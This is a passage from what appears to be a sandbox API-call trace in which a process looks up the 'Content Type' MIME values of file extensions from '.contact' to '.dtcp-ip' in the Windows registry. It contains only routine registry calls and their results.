hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.577] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.577] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".contact", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.578] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/x-ms-contact", lpcbData=0xc0006b98fc*=0x24) returned 0x0 [0182.578] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.578] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cpl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.578] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.579] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.579] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cpp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.579] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.579] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.580] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cr2", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.580] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/CR2", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.580] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.580] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cr3", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.581] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/CR3", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.581] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.581] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".crl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.581] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/pkix-crl", lpcbData=0xc0006b98fc*=0x2a) returned 0x0 [0182.582] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.582] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".crt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.582] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-x509-ca-cert", lpcbData=0xc0006b98fc*=0x36) returned 0x0 [0182.582] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.583] VirtualAlloc (lpAddress=0xc000874000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000874000 [0182.583] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".crw", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.586] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/CRW", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.586] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.587] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.587] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.587] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.587] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".csa", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.587] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.588] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.588] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".csproj", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.588] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.588] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.589] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".css", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.589] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/css", lpcbData=0xc0006b98fc*=0x12) returned 0x0 [0182.589] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.589] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".csv", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.589] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.590] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.590] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cur", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.590] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.590] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.593] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cxx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.593] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.594] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.594] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dat", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.594] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.594] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.594] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".db", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.595] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.595] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.595] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dbg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.595] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.596] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.596] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dbs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.596] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.596] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.596] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dcr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.597] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/DCR", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.597] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.597] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dcs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.598] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/DCS", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.598] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.598] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dct", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.598] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.599] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.599] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dctx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.600] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.600] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.600] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dctxc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.600] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.601] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.601] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dds", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.601] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/vnd.ms-dds", lpcbData=0xc0006b98fc*=0x22) returned 0x0 [0182.601] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.602] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".def", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.602] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.602] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.602] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".der", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.603] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-x509-ca-cert", lpcbData=0xc0006b98fc*=0x36) returned 0x0 [0182.603] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.603] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".desklink", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.603] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.603] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.604] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".deskthemepack", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.604] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.604] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.604] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".diagcab", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.605] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.605] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.605] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".diagcfg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.605] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.606] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.606] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".diagpkg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.606] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.606] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.606] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dib", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.607] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/bmp", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.607] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.607] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dic", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.608] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.608] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.608] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".divx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.608] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.608] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.609] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".diz", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.609] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.609] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.609] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dll", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.610] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-msdownload", lpcbData=0xc0006b98fc*=0x32) returned 0x0 [0182.610] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.610] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dl_", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.610] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.611] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.611] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dng", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.611] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/DNG", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.612] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.612] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".doc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.612] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.612] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.612] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".docx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.613] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.613] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.613] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dos", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.613] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.613] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.614] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dot", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.614] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.614] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.614] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".drf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.614] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/DRF", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.615] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.615] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".drv", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.616] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.616] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.616] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dsn", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.616] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.617] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.617] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dsp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.617] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.617] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.618] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dsw", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.618] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.618] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.619] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dtcp-ip", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.619] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-dtcp1", lpcbData=0xc0006b98fc*=0x28) returned 0x0 